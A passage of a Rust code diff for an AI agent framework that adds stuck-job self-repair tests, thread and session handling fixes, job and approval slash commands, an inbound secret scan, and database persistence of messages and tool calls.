#[allow(dead_code)] // TODO: wire up in main.rs when auto-repair is needed
pub(crate) fn with_builder(
mut self,
builder: Arc<dyn SoftwareBuilder>,
tools: Arc<ToolRegistry>,
@@ -385,4 +387,134 @@ mod tests {
};
assert!(matches!(manual, RepairResult::ManualRequired { .. }));
}
// === QA Plan - Self-repair stuck job tests ===
#[tokio::test]
async fn detect_no_stuck_jobs_when_all_healthy() {
let cm = Arc::new(ContextManager::new(10));
// Create a job and leave it Pending (not stuck).
cm.create_job("Job 1", "desc").await.unwrap();
let repair = DefaultSelfRepair::new(cm, Duration::from_secs(60), 3);
let stuck = repair.detect_stuck_jobs().await;
assert!(stuck.is_empty());
}
#[tokio::test]
async fn detect_stuck_job_finds_stuck_state() {
let cm = Arc::new(ContextManager::new(10));
let job_id = cm.create_job("Stuck job", "desc").await.unwrap();
// Transition to InProgress, then to Stuck.
cm.update_context(job_id, |ctx| ctx.transition_to(JobState::InProgress, None))
.await
.unwrap()
.unwrap();
cm.update_context(job_id, |ctx| {
ctx.transition_to(JobState::Stuck, Some("timed out".to_string()))
})
.await
.unwrap()
.unwrap();
let repair = DefaultSelfRepair::new(cm, Duration::from_secs(60), 3);
let stuck = repair.detect_stuck_jobs().await;
assert_eq!(stuck.len(), 1);
assert_eq!(stuck[0].job_id, job_id);
}
#[tokio::test]
async fn repair_stuck_job_succeeds_within_limit() {
let cm = Arc::new(ContextManager::new(10));
let job_id = cm.create_job("Repairable", "desc").await.unwrap();
// Move to InProgress -> Stuck.
cm.update_context(job_id, |ctx| ctx.transition_to(JobState::InProgress, None))
.await
.unwrap()
.unwrap();
cm.update_context(job_id, |ctx| ctx.transition_to(JobState::Stuck, None))
.await
.unwrap()
.unwrap();
let repair = DefaultSelfRepair::new(Arc::clone(&cm), Duration::from_secs(60), 3);
let stuck_job = StuckJob {
job_id,
last_activity: Utc::now(),
stuck_duration: Duration::from_secs(120),
last_error: None,
repair_attempts: 0,
};
let result = repair.repair_stuck_job(&stuck_job).await.unwrap();
assert!(
matches!(result, RepairResult::Success { .. }),
"Expected Success, got: {:?}",
result
);
// Job should be back to InProgress after recovery.
let ctx = cm.get_context(job_id).await.unwrap();
assert_eq!(ctx.state, JobState::InProgress);
}
#[tokio::test]
async fn repair_stuck_job_returns_manual_when_limit_exceeded() {
let cm = Arc::new(ContextManager::new(10));
let job_id = cm.create_job("Unrepairable", "desc").await.unwrap();
let repair = DefaultSelfRepair::new(cm, Duration::from_secs(60), 2);
let stuck_job = StuckJob {
job_id,
last_activity: Utc::now(),
stuck_duration: Duration::from_secs(300),
last_error: Some("persistent failure".to_string()),
repair_attempts: 2, // == max
};
let result = repair.repair_stuck_job(&stuck_job).await.unwrap();
assert!(
matches!(result, RepairResult::ManualRequired { .. }),
"Expected ManualRequired, got: {:?}",
result
);
}
#[tokio::test]
async fn detect_broken_tools_returns_empty_without_store() {
let cm = Arc::new(ContextManager::new(10));
let repair = DefaultSelfRepair::new(cm, Duration::from_secs(60), 3);
// No store configured, should return empty.
let broken = repair.detect_broken_tools().await;
assert!(broken.is_empty());
}
#[tokio::test]
async fn repair_broken_tool_returns_manual_without_builder() {
let cm = Arc::new(ContextManager::new(10));
let repair = DefaultSelfRepair::new(cm, Duration::from_secs(60), 3);
let broken = BrokenTool {
name: "test-tool".to_string(),
failure_count: 10,
last_error: Some("crash".to_string()),
first_failure: Utc::now(),
last_failure: Utc::now(),
last_build_result: None,
repair_attempts: 0,
};
let result = repair.repair_broken_tool(&broken).await.unwrap();
assert!(
matches!(result, RepairResult::ManualRequired { .. }),
"Expected ManualRequired without builder, got: {:?}",
result
);
}
}
+26 -17
View File
@@ -16,7 +16,7 @@ use chrono::{DateTime, Utc};
use serde::{Deserialize, Serialize};
use uuid::Uuid;
use crate::llm::ChatMessage;
use crate::llm::{ChatMessage, ToolCall};
/// A session containing one or more threads.
#[derive(Debug, Clone, Serialize, Deserialize)]
@@ -70,10 +70,9 @@ impl Session {
pub fn create_thread(&mut self) -> &mut Thread {
let thread = Thread::new(self.id);
let thread_id = thread.id;
self.threads.insert(thread_id, thread);
self.active_thread = Some(thread_id);
self.last_active_at = Utc::now();
self.threads.get_mut(&thread_id).expect("just inserted")
self.threads.entry(thread_id).or_insert(thread)
}
/// Get the active thread.
@@ -88,10 +87,19 @@ impl Session {
/// Get or create the active thread.
pub fn get_or_create_thread(&mut self) -> &mut Thread {
if self.active_thread.is_none() {
self.create_thread();
match self.active_thread {
None => self.create_thread(),
Some(id) => {
if self.threads.contains_key(&id) {
// Safe: contains_key confirmed the entry exists.
self.threads.get_mut(&id).unwrap()
} else {
// Stale active_thread ID: create a new thread, which
// updates self.active_thread to the new thread's ID.
self.create_thread()
}
}
}
self.active_thread_mut().expect("just created")
}
/// Switch to a different thread.
@@ -148,6 +156,10 @@ pub struct PendingApproval {
pub tool_call_id: String,
/// Context messages at the time of the request (to resume from).
pub context_messages: Vec<ChatMessage>,
/// Remaining tool calls from the same assistant message that were not
/// executed yet when approval was requested.
#[serde(default)]
pub deferred_tool_calls: Vec<ToolCall>,
}
/// A conversation thread within a session.
@@ -173,10 +185,6 @@ pub struct Thread {
/// Pending auth token request (thread is in auth mode).
#[serde(default)]
pub pending_auth: Option<PendingAuth>,
/// Last NEAR AI response ID for response chaining. Persisted to DB
/// metadata so we can resume chaining across restarts.
#[serde(default)]
pub last_response_id: Option<String>,
}
impl Thread {
@@ -193,7 +201,6 @@ impl Thread {
metadata: serde_json::Value::Null,
pending_approval: None,
pending_auth: None,
last_response_id: None,
}
}
@@ -210,7 +217,6 @@ impl Thread {
metadata: serde_json::Value::Null,
pending_approval: None,
pending_auth: None,
last_response_id: None,
}
}
@@ -236,7 +242,8 @@ impl Thread {
self.turns.push(turn);
self.state = ThreadState::Processing;
self.updated_at = Utc::now();
self.turns.last_mut().expect("just pushed")
// turn_number was len() before push, so it's a valid index after push
&mut self.turns[turn_number]
}
/// Complete the current turn with a response.
@@ -349,8 +356,10 @@ impl Thread {
if let Some(next) = iter.peek()
&& next.role == crate::llm::Role::Assistant
{
let response = iter.next().expect("peeked");
turn.complete(&response.content);
// iter.next() is guaranteed Some after a successful peek()
if let Some(response) = iter.next() {
turn.complete(&response.content);
}
}
self.turns.push(turn);
@@ -848,7 +857,6 @@ mod tests {
thread.start_turn("hello");
thread.complete_turn("world");
thread.last_response_id = Some("resp_abc123".to_string());
let json = serde_json::to_string(&thread).unwrap();
let restored: Thread = serde_json::from_str(&json).unwrap();
@@ -858,7 +866,6 @@ mod tests {
assert_eq!(restored.turns.len(), 1);
assert_eq!(restored.turns[0].user_input, "hello");
assert_eq!(restored.turns[0].response, Some("world".to_string()));
assert_eq!(restored.last_response_id, Some("resp_abc123".to_string()));
}
#[test]
@@ -946,6 +953,7 @@ mod tests {
description: "dangerous command".to_string(),
tool_call_id: "call_123".to_string(),
context_messages: vec![ChatMessage::user("do it")],
deferred_tool_calls: vec![],
};
thread.await_approval(approval);
@@ -969,6 +977,7 @@ mod tests {
description: "test".to_string(),
tool_call_id: "call_456".to_string(),
context_messages: vec![],
deferred_tool_calls: vec![],
};
thread.await_approval(approval);
+196
View File
@@ -13,6 +13,9 @@ use crate::agent::session::Session;
use crate::agent::undo::UndoManager;
use crate::hooks::HookRegistry;
/// Warn when session count exceeds this threshold.
const SESSION_COUNT_WARNING_THRESHOLD: usize = 1000;
/// Key for mapping external thread IDs to internal ones.
#[derive(Clone, Hash, Eq, PartialEq)]
struct ThreadKey {
@@ -68,6 +71,14 @@ impl SessionManager {
let session = Arc::new(Mutex::new(new_session));
sessions.insert(user_id.to_string(), Arc::clone(&session));
if sessions.len() >= SESSION_COUNT_WARNING_THRESHOLD && sessions.len() % 100 == 0 {
tracing::warn!(
"High session count: {} active sessions. \
Pruning runs every 10 minutes; consider reducing session_idle_timeout.",
sessions.len()
);
}
// Fire OnSessionStart hook (fire-and-forget)
if let Some(ref hooks) = self.hooks {
let hooks = hooks.clone();
@@ -117,6 +128,42 @@ impl SessionManager {
}
}
// Check if external_thread_id is itself a known thread UUID that
// exists in the session but was never registered in the thread_map
// (e.g. created by chat_new_thread_handler or hydrated from DB).
// We only adopt it if no thread_map entry maps to this UUID —
// otherwise it belongs to a different channel scope.
if let Some(ext_tid) = external_thread_id
&& let Ok(ext_uuid) = Uuid::parse_str(ext_tid)
{
let thread_map = self.thread_map.read().await;
let mapped_elsewhere = thread_map.values().any(|&v| v == ext_uuid);
drop(thread_map);
if !mapped_elsewhere {
let sess = session.lock().await;
if sess.threads.contains_key(&ext_uuid) {
drop(sess);
let mut thread_map = self.thread_map.write().await;
// Re-check after acquiring write lock to prevent race condition
// where another task mapped this UUID between our read and write.
if !thread_map.values().any(|&v| v == ext_uuid) {
thread_map.insert(key, ext_uuid);
drop(thread_map);
// Ensure undo manager exists
let mut undo_managers = self.undo_managers.write().await;
undo_managers
.entry(ext_uuid)
.or_insert_with(|| Arc::new(Mutex::new(UndoManager::new())));
return (session, ext_uuid);
}
// If it was mapped elsewhere while we were unlocked, fall through
// to create a new thread, preserving channel isolation.
}
}
}
// Create new thread (always create a new one for a new key)
let thread_id = {
let mut sess = session.lock().await;
@@ -724,4 +771,153 @@ mod tests {
.await;
assert_ne!(resolved, tid);
}
// === QA Plan P3 - 4.2: Concurrent session stress tests ===
#[tokio::test]
async fn concurrent_get_or_create_same_user_returns_same_session() {
let manager = Arc::new(SessionManager::new());
let handles: Vec<_> = (0..30)
.map(|_| {
let mgr = Arc::clone(&manager);
tokio::spawn(async move { mgr.get_or_create_session("shared-user").await })
})
.collect();
let mut sessions = Vec::new();
for handle in handles {
sessions.push(handle.await.expect("task should not panic"));
}
// All 30 must return the *same* Arc (double-checked locking guarantee).
for s in &sessions {
assert!(Arc::ptr_eq(&sessions[0], s));
}
}
#[tokio::test]
async fn concurrent_resolve_thread_distinct_users_no_cross_talk() {
let manager = Arc::new(SessionManager::new());
let handles: Vec<_> = (0..20)
.map(|i| {
let mgr = Arc::clone(&manager);
tokio::spawn(async move {
let user = format!("user-{i}");
let (session, tid) = mgr.resolve_thread(&user, "gateway", None).await;
(user, session, tid)
})
})
.collect();
let mut results = Vec::new();
for handle in handles {
results.push(handle.await.expect("task should not panic"));
}
// All thread IDs must be unique.
let tids: std::collections::HashSet<_> = results.iter().map(|(_, _, t)| *t).collect();
assert_eq!(tids.len(), 20);
// Each session should contain exactly 1 thread (its own).
for (_, session, tid) in &results {
let sess = session.lock().await;
assert!(sess.threads.contains_key(tid));
assert_eq!(sess.threads.len(), 1);
}
}
#[tokio::test]
async fn concurrent_resolve_thread_same_user_different_channels() {
let manager = Arc::new(SessionManager::new());
let channels = ["gateway", "telegram", "slack", "cli", "repl"];
let handles: Vec<_> = channels
.iter()
.map(|ch| {
let mgr = Arc::clone(&manager);
let channel = ch.to_string();
tokio::spawn(async move {
let (session, tid) = mgr.resolve_thread("multi-ch", &channel, None).await;
(channel, session, tid)
})
})
.collect();
let mut results = Vec::new();
for handle in handles {
results.push(handle.await.expect("task should not panic"));
}
// All 5 threads must be unique (different channels = different keys).
let tids: std::collections::HashSet<_> = results.iter().map(|(_, _, t)| *t).collect();
assert_eq!(tids.len(), 5);
// All threads should live in the same session.
let sess = results[0].1.lock().await;
assert_eq!(sess.threads.len(), 5);
}
#[tokio::test]
async fn concurrent_get_undo_manager_same_thread_returns_same_arc() {
let manager = Arc::new(SessionManager::new());
let (_, tid) = manager.resolve_thread("undo-user", "gateway", None).await;
let handles: Vec<_> = (0..20)
.map(|_| {
let mgr = Arc::clone(&manager);
tokio::spawn(async move { mgr.get_undo_manager(tid).await })
})
.collect();
let mut managers = Vec::new();
for handle in handles {
managers.push(handle.await.expect("task should not panic"));
}
// All 20 must point to the same UndoManager.
for m in &managers {
assert!(Arc::ptr_eq(&managers[0], m));
}
}
#[tokio::test]
async fn test_resolve_thread_finds_existing_session_thread_by_uuid() {
use crate::agent::session::{Session, Thread};
let manager = SessionManager::new();
let tid = Uuid::new_v4();
// Simulate chat_new_thread_handler: create thread directly in session
// without registering it in thread_map
let session = Arc::new(Mutex::new(Session::new("user-direct")));
{
let mut sess = session.lock().await;
let thread = Thread::with_id(tid, sess.id);
sess.threads.insert(tid, thread);
}
{
let mut sessions = manager.sessions.write().await;
sessions.insert("user-direct".to_string(), Arc::clone(&session));
}
// resolve_thread should find the existing thread by UUID
// instead of creating a duplicate
let (_, resolved) = manager
.resolve_thread("user-direct", "gateway", Some(&tid.to_string()))
.await;
assert_eq!(
resolved, tid,
"should reuse existing thread, not create a new one"
);
// Verify no duplicate threads were created
let sess = session.lock().await;
assert_eq!(
sess.threads.len(),
1,
"should have exactly 1 thread, not a duplicate"
);
}
}
+196 -3
View File
@@ -62,6 +62,23 @@ impl SubmissionParser {
args: vec![],
};
}
if lower == "/skills" {
return Submission::SystemCommand {
command: "skills".to_string(),
args: vec![],
};
}
if lower.starts_with("/skills ") {
let args: Vec<String> = trimmed
.split_whitespace()
.skip(1)
.map(|s| s.to_string())
.collect();
return Submission::SystemCommand {
command: "skills".to_string(),
args,
};
}
if lower == "/ping" {
return Submission::SystemCommand {
command: "ping".to_string(),
@@ -90,6 +107,29 @@ impl SubmissionParser {
return Submission::Quit;
}
// Job commands
if lower == "/status" || lower == "/progress" {
return Submission::JobStatus { job_id: None };
}
if let Some(rest) = lower
.strip_prefix("/status ")
.or_else(|| lower.strip_prefix("/progress "))
{
let id = rest.trim().to_string();
if !id.is_empty() {
return Submission::JobStatus { job_id: Some(id) };
}
}
if lower == "/list" {
return Submission::JobStatus { job_id: None };
}
if let Some(rest) = lower.strip_prefix("/cancel ") {
let id = rest.trim().to_string();
if !id.is_empty() {
return Submission::JobCancel { job_id: id };
}
}
// /thread <uuid> - switch thread
if let Some(rest) = lower.strip_prefix("/thread ") {
let rest = rest.trim();
@@ -118,19 +158,19 @@ impl SubmissionParser {
// Approval responses (simple yes/no/always for pending approvals)
// These are short enough to check explicitly
match lower.as_str() {
"yes" | "y" | "approve" | "ok" => {
"yes" | "y" | "approve" | "ok" | "/approve" | "/yes" | "/y" => {
return Submission::ApprovalResponse {
approved: true,
always: false,
};
}
"always" | "yes always" | "approve always" => {
"always" | "a" | "yes always" | "approve always" | "/always" | "/a" => {
return Submission::ApprovalResponse {
approved: true,
always: true,
};
}
"no" | "n" | "deny" | "reject" | "cancel" => {
"no" | "n" | "deny" | "reject" | "cancel" | "/deny" | "/no" | "/n" => {
return Submission::ApprovalResponse {
approved: false,
always: false,
@@ -212,6 +252,18 @@ pub enum Submission {
/// Suggest next steps based on the current thread.
Suggest,
/// Check job status. No job_id shows all jobs; with job_id shows a specific job.
JobStatus {
/// Optional job ID (UUID or short prefix). If None, shows all jobs.
job_id: Option<String>,
},
/// Cancel a running job.
JobCancel {
/// Job ID (UUID or short prefix).
job_id: String,
},
/// Quit the agent. Bypasses thread-state checks.
Quit,
@@ -234,6 +286,7 @@ impl Submission {
}
/// Create an approval submission.
#[cfg(test)]
pub fn approval(request_id: Uuid, approved: bool) -> Self {
Self::ExecApproval {
request_id,
@@ -243,6 +296,7 @@ impl Submission {
}
/// Create an "always approve" submission.
#[cfg(test)]
pub fn always_approve(request_id: Uuid) -> Self {
Self::ExecApproval {
request_id,
@@ -252,26 +306,31 @@ impl Submission {
}
/// Create an interrupt submission.
#[cfg(test)]
pub fn interrupt() -> Self {
Self::Interrupt
}
/// Create a compact submission.
#[cfg(test)]
pub fn compact() -> Self {
Self::Compact
}
/// Create an undo submission.
#[cfg(test)]
pub fn undo() -> Self {
Self::Undo
}
/// Create a redo submission.
#[cfg(test)]
pub fn redo() -> Self {
Self::Redo
}
/// Check if this submission starts a new turn.
#[cfg(test)]
pub fn starts_turn(&self) -> bool {
matches!(self, Self::UserInput { .. })
}
@@ -289,6 +348,8 @@ impl Submission {
| Self::Heartbeat
| Self::Summarize
| Self::Suggest
| Self::JobStatus { .. }
| Self::JobCancel { .. }
| Self::SystemCommand { .. }
)
}
@@ -340,6 +401,7 @@ impl SubmissionResult {
}
/// Create an OK result.
#[cfg(test)]
pub fn ok() -> Self {
Self::Ok { message: None }
}
@@ -475,6 +537,57 @@ mod tests {
assert!(matches!(submission, Submission::UserInput { content } if content == "/unknown"));
}
#[test]
fn test_parser_approval_response_aliases() {
// approve once
assert!(matches!(
SubmissionParser::parse("y"),
Submission::ApprovalResponse {
approved: true,
always: false
}
));
assert!(matches!(
SubmissionParser::parse("/approve"),
Submission::ApprovalResponse {
approved: true,
always: false
}
));
// approve always
assert!(matches!(
SubmissionParser::parse("a"),
Submission::ApprovalResponse {
approved: true,
always: true
}
));
assert!(matches!(
SubmissionParser::parse("/always"),
Submission::ApprovalResponse {
approved: true,
always: true
}
));
// deny
assert!(matches!(
SubmissionParser::parse("n"),
Submission::ApprovalResponse {
approved: false,
always: false
}
));
assert!(matches!(
SubmissionParser::parse("/deny"),
Submission::ApprovalResponse {
approved: false,
always: false
}
));
}
#[test]
fn test_parser_json_exec_approval() {
let req_id = Uuid::new_v4();
@@ -634,6 +747,86 @@ mod tests {
assert!(!submission.starts_turn());
}
#[test]
fn test_parser_system_command_skills() {
let submission = SubmissionParser::parse("/skills");
assert!(
matches!(submission, Submission::SystemCommand { command, args } if command == "skills" && args.is_empty())
);
// Case insensitive
let submission = SubmissionParser::parse("/SKILLS");
assert!(
matches!(submission, Submission::SystemCommand { command, .. } if command == "skills")
);
}
#[test]
fn test_parser_system_command_skills_search() {
let submission = SubmissionParser::parse("/skills search markdown");
assert!(
matches!(submission, Submission::SystemCommand { command, args }
if command == "skills" && args == vec!["search", "markdown"])
);
// Multiple words in query
let submission = SubmissionParser::parse("/skills search code review tools");
assert!(
matches!(submission, Submission::SystemCommand { command, args }
if command == "skills" && args == vec!["search", "code", "review", "tools"])
);
}
#[test]
fn test_parser_job_status() {
// /status with no id → all jobs
let s = SubmissionParser::parse("/status");
assert!(matches!(s, Submission::JobStatus { job_id: None }));
// /progress alias
let s = SubmissionParser::parse("/progress");
assert!(matches!(s, Submission::JobStatus { job_id: None }));
// /status with id
let s = SubmissionParser::parse("/status abc123");
assert!(matches!(s, Submission::JobStatus { job_id: Some(id) } if id == "abc123"));
// /progress with id
let s = SubmissionParser::parse("/progress abc123");
assert!(matches!(s, Submission::JobStatus { job_id: Some(id) } if id == "abc123"));
// case insensitive
let s = SubmissionParser::parse("/STATUS");
assert!(matches!(s, Submission::JobStatus { job_id: None }));
}
#[test]
fn test_parser_job_list() {
// /list is an alias for /status with no job_id
let s = SubmissionParser::parse("/list");
assert!(matches!(s, Submission::JobStatus { job_id: None }));
let s = SubmissionParser::parse("/LIST");
assert!(matches!(s, Submission::JobStatus { job_id: None }));
}
#[test]
fn test_parser_job_cancel() {
let s = SubmissionParser::parse("/cancel abc123");
assert!(matches!(s, Submission::JobCancel { job_id } if job_id == "abc123"));
// /cancel with no id → falls through to UserInput
let s = SubmissionParser::parse("/cancel");
assert!(matches!(s, Submission::UserInput { .. }));
}
#[test]
fn test_job_commands_are_control() {
assert!(SubmissionParser::parse("/status").is_control());
assert!(SubmissionParser::parse("/list").is_control());
assert!(SubmissionParser::parse("/cancel abc").is_control());
}
#[test]
fn test_parser_quit() {
assert!(matches!(SubmissionParser::parse("/quit"), Submission::Quit));
+7
View File
@@ -29,6 +29,7 @@ impl TaskOutput {
}
/// Create a text result.
#[cfg(test)]
pub fn text(text: impl Into<String>, duration: Duration) -> Self {
Self {
result: serde_json::Value::String(text.into()),
@@ -37,6 +38,7 @@ impl TaskOutput {
}
/// Create an empty success result.
#[cfg(test)]
pub fn empty(duration: Duration) -> Self {
Self {
result: serde_json::Value::Null,
@@ -130,6 +132,7 @@ impl Task {
}
/// Create a new Job task with a specific ID.
#[cfg(test)]
pub fn job_with_id(id: Uuid, title: impl Into<String>, description: impl Into<String>) -> Self {
Self::Job {
id,
@@ -152,6 +155,7 @@ impl Task {
}
/// Create a new Background task.
#[cfg(test)]
pub fn background(handler: std::sync::Arc<dyn TaskHandler>) -> Self {
Self::Background {
id: Uuid::new_v4(),
@@ -160,6 +164,7 @@ impl Task {
}
/// Create a new Background task with a specific ID.
#[cfg(test)]
pub fn background_with_id(id: Uuid, handler: std::sync::Arc<dyn TaskHandler>) -> Self {
Self::Background { id, handler }
}
@@ -174,6 +179,7 @@ impl Task {
}
/// Get the parent ID for sub-tasks.
#[cfg(test)]
pub fn parent_id(&self) -> Option<Uuid> {
match self {
Self::Job { .. } => None,
@@ -225,6 +231,7 @@ impl fmt::Debug for Task {
}
/// Status of a scheduled task.
#[cfg(test)]
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub enum TaskStatus {
/// Task is queued waiting for execution.
+516 -120
View File
@@ -6,13 +6,17 @@
use std::sync::Arc;
use tokio::sync::Mutex;
use tokio::task::JoinSet;
use uuid::Uuid;
use crate::agent::Agent;
use crate::agent::compaction::ContextCompactor;
use crate::agent::dispatcher::{AgenticLoopResult, detect_auth_awaiting, parse_auth_result};
use crate::agent::session::{Session, ThreadState};
use crate::agent::dispatcher::{
AgenticLoopResult, check_auth_required, execute_chat_tool_standalone, parse_auth_result,
};
use crate::agent::session::{PendingApproval, Session, ThreadState};
use crate::agent::submission::SubmissionResult;
use crate::channels::web::util::truncate_preview;
use crate::channels::{IncomingMessage, StatusUpdate};
use crate::context::JobContext;
use crate::error::Error;
@@ -66,6 +70,8 @@ impl Agent {
.filter_map(|m| match m.role.as_str() {
"user" => Some(ChatMessage::user(&m.content)),
"assistant" => Some(ChatMessage::assistant(&m.content)),
// tool_calls rows are UI metadata (tool name + preview),
// not part of the LLM conversation context.
_ => None,
})
.collect();
@@ -84,20 +90,6 @@ impl Agent {
thread.restore_from_messages(chat_messages);
}
// Restore response chain from conversation metadata
if let Some(store) = self.store()
&& let Ok(Some(metadata)) = store.get_conversation_metadata(thread_uuid).await
&& let Some(rid) = metadata
.get("last_response_id")
.and_then(|v| v.as_str())
.map(String::from)
{
thread.last_response_id = Some(rid.clone());
self.llm()
.seed_response_chain(&thread_uuid.to_string(), rid);
tracing::debug!("Restored response chain for thread {}", thread_uuid);
}
// Insert into session and register with session manager
{
let mut sess = session.lock().await;
@@ -184,6 +176,18 @@ impl Agent {
return Ok(SubmissionResult::error("Input rejected by safety policy."));
}
// Scan inbound messages for secrets (API keys, tokens).
// Catching them here prevents the LLM from echoing them back, which
// would trigger the outbound leak detector and create error loops.
if let Some(warning) = self.safety().scan_inbound_for_secrets(content) {
tracing::warn!(
user = %message.user_id,
channel = %message.channel,
"Inbound message blocked: contains leaked secret"
);
return Ok(SubmissionResult::error(warning));
}
// Handle explicit commands (starting with /) directly
// Everything else goes through the normal agentic loop with tools
let temp_message = IncomingMessage {
@@ -225,7 +229,7 @@ impl Agent {
)
.await;
let compactor = ContextCompactor::new(self.llm().clone());
let compactor = ContextCompactor::new(self.llm().clone(), self.safety().clone());
if let Err(e) = compactor
.compact(thread, strategy, self.workspace().map(|w| w.as_ref()))
.await
@@ -263,6 +267,10 @@ impl Agent {
thread.messages()
};
// Persist user message to DB immediately so it survives crashes
self.persist_user_message(thread_id, &message.user_id, content)
.await;
// Send thinking status
let _ = self
.channels
@@ -275,7 +283,7 @@ impl Agent {
// Run the agentic tool execution loop
let result = self
.run_agentic_loop(message, session.clone(), thread_id, turn_messages, false)
.run_agentic_loop(message, session.clone(), thread_id, turn_messages)
.await;
// Re-acquire lock and check if interrupted
@@ -322,7 +330,11 @@ impl Agent {
};
thread.complete_turn(&response);
self.persist_response_chain(thread);
let tool_calls = thread
.turns
.last()
.map(|t| t.tool_calls.clone())
.unwrap_or_default();
let _ = self
.channels
.send_status(
@@ -332,8 +344,11 @@ impl Agent {
)
.await;
// Fire-and-forget: persist turn to DB
self.persist_turn(thread_id, &message.user_id, content, Some(&response));
// Persist tool calls then assistant response (user message already persisted at turn start)
self.persist_tool_calls(thread_id, &message.user_id, &tool_calls)
.await;
self.persist_assistant_response(thread_id, &message.user_id, &response)
.await;
Ok(SubmissionResult::response(response))
}
@@ -361,92 +376,135 @@ impl Agent {
}
Err(e) => {
thread.fail_turn(e.to_string());
// Persist the user message even on failure
self.persist_turn(thread_id, &message.user_id, content, None);
// User message already persisted at turn start; nothing else to save
Ok(SubmissionResult::error(e.to_string()))
}
}
}
/// Fire-and-forget: persist a turn (user message + optional assistant response) to the DB.
pub(super) fn persist_turn(
/// Persist the user message to the DB at turn start (before the agentic loop).
///
/// This ensures the user message is durable even if the process crashes
/// mid-response. Call this right after `thread.start_turn()`.
pub(super) async fn persist_user_message(
&self,
thread_id: Uuid,
user_id: &str,
user_input: &str,
response: Option<&str>,
) {
let store = match self.store() {
Some(s) => Arc::clone(s),
None => return,
};
let user_id = user_id.to_string();
let user_input = user_input.to_string();
let response = response.map(String::from);
if let Err(e) = store
.ensure_conversation(thread_id, "gateway", user_id, None)
.await
{
tracing::warn!("Failed to ensure conversation {}: {}", thread_id, e);
return;
}
tokio::spawn(async move {
if let Err(e) = store
.ensure_conversation(thread_id, "gateway", &user_id, None)
.await
{
tracing::warn!("Failed to ensure conversation {}: {}", thread_id, e);
return;
}
if let Err(e) = store
.add_conversation_message(thread_id, "user", &user_input)
.await
{
tracing::warn!("Failed to persist user message: {}", e);
return;
}
if let Some(ref resp) = response
&& let Err(e) = store
.add_conversation_message(thread_id, "assistant", resp)
.await
{
tracing::warn!("Failed to persist assistant message: {}", e);
}
});
if let Err(e) = store
.add_conversation_message(thread_id, "user", user_input)
.await
{
tracing::warn!("Failed to persist user message: {}", e);
}
}
/// Sync the provider's response chain ID to the thread and DB metadata.
/// Persist the assistant response to the DB after the agentic loop completes.
///
/// Call after a successful agentic loop to persist the latest
/// `previous_response_id` so chaining survives restarts.
pub(super) fn persist_response_chain(&self, thread: &mut crate::agent::session::Thread) {
let tid = thread.id.to_string();
let response_id = match self.llm().get_response_chain_id(&tid) {
Some(rid) => rid,
None => return,
};
// Update in-memory thread
thread.last_response_id = Some(response_id.clone());
// Fire-and-forget DB write
/// Re-ensures the conversation row exists so that assistant responses are
/// still persisted even if `persist_user_message` failed transiently at
/// turn start (e.g. a brief DB blip that resolved before response time).
pub(super) async fn persist_assistant_response(
&self,
thread_id: Uuid,
user_id: &str,
response: &str,
) {
let store = match self.store() {
Some(s) => Arc::clone(s),
None => return,
};
let thread_id = thread.id;
tokio::spawn(async move {
let val = serde_json::json!(response_id);
if let Err(e) = store
.update_conversation_metadata_field(thread_id, "last_response_id", &val)
.await
{
tracing::warn!(
"Failed to persist response chain for thread {}: {}",
thread_id,
e
);
if let Err(e) = store
.ensure_conversation(thread_id, "gateway", user_id, None)
.await
{
tracing::warn!("Failed to ensure conversation {}: {}", thread_id, e);
return;
}
if let Err(e) = store
.add_conversation_message(thread_id, "assistant", response)
.await
{
tracing::warn!("Failed to persist assistant message: {}", e);
}
}
/// Persist tool call summaries to the DB as a `role="tool_calls"` message.
///
/// Stored between the user and assistant messages so that
/// `build_turns_from_db_messages` can reconstruct the tool call history.
/// Content is a JSON array of tool call summaries.
pub(super) async fn persist_tool_calls(
&self,
thread_id: Uuid,
user_id: &str,
tool_calls: &[crate::agent::session::TurnToolCall],
) {
if tool_calls.is_empty() {
return;
}
let store = match self.store() {
Some(s) => Arc::clone(s),
None => return,
};
let summaries: Vec<serde_json::Value> = tool_calls
.iter()
.map(|tc| {
let mut obj = serde_json::json!({ "name": tc.name });
if let Some(ref result) = tc.result {
let preview = match result {
serde_json::Value::String(s) => truncate_preview(s, 500),
other => truncate_preview(&other.to_string(), 500),
};
obj["result_preview"] = serde_json::Value::String(preview);
}
if let Some(ref error) = tc.error {
obj["error"] = serde_json::Value::String(truncate_preview(error, 200));
}
obj
})
.collect();
let content = match serde_json::to_string(&summaries) {
Ok(c) => c,
Err(e) => {
tracing::warn!("Failed to serialize tool calls: {}", e);
return;
}
});
};
if let Err(e) = store
.ensure_conversation(thread_id, "gateway", user_id, None)
.await
{
tracing::warn!("Failed to ensure conversation {}: {}", thread_id, e);
return;
}
if let Err(e) = store
.add_conversation_message(thread_id, "tool_calls", &content)
.await
{
tracing::warn!("Failed to persist tool calls: {}", e);
}
}
pub(super) async fn process_undo(
@@ -559,7 +617,7 @@ impl Agent {
crate::agent::context_monitor::CompactionStrategy::Summarize { keep_recent: 5 },
);
let compactor = ContextCompactor::new(self.llm().clone());
let compactor = ContextCompactor::new(self.llm().clone(), self.safety().clone());
match compactor
.compact(thread, strategy, self.workspace().map(|w| w.as_ref()))
.await
@@ -608,8 +666,8 @@ impl Agent {
approved: bool,
always: bool,
) -> Result<SubmissionResult, Error> {
// Get thread state and pending approval
let (_thread_state, pending) = {
// Get pending approval for this thread
let pending = {
let mut sess = session.lock().await;
let thread = sess
.threads
@@ -617,16 +675,27 @@ impl Agent {
.ok_or_else(|| Error::from(crate::error::JobError::NotFound { id: thread_id }))?;
if thread.state != ThreadState::AwaitingApproval {
return Ok(SubmissionResult::error("No pending approval request."));
// Stale or duplicate approval (tool already executed) — silently ignore.
tracing::debug!(
%thread_id,
state = ?thread.state,
"Ignoring stale approval: thread not in AwaitingApproval state"
);
return Ok(SubmissionResult::ok_with_message(""));
}
let pending = thread.take_pending_approval();
(thread.state, pending)
thread.take_pending_approval()
};
let pending = match pending {
Some(p) => p,
None => return Ok(SubmissionResult::error("No pending approval request.")),
None => {
tracing::debug!(
%thread_id,
"Ignoring stale approval: no pending approval found"
);
return Ok(SubmissionResult::ok_with_message(""));
}
};
// Verify request ID if provided
@@ -712,6 +781,7 @@ impl Agent {
// Build context including the tool result
let mut context_messages = pending.context_messages;
let deferred_tool_calls = pending.deferred_tool_calls;
// Record result in thread
{
@@ -733,29 +803,17 @@ impl Agent {
// If tool_auth returned awaiting_token, enter auth mode and
// return instructions directly (skip agentic loop continuation).
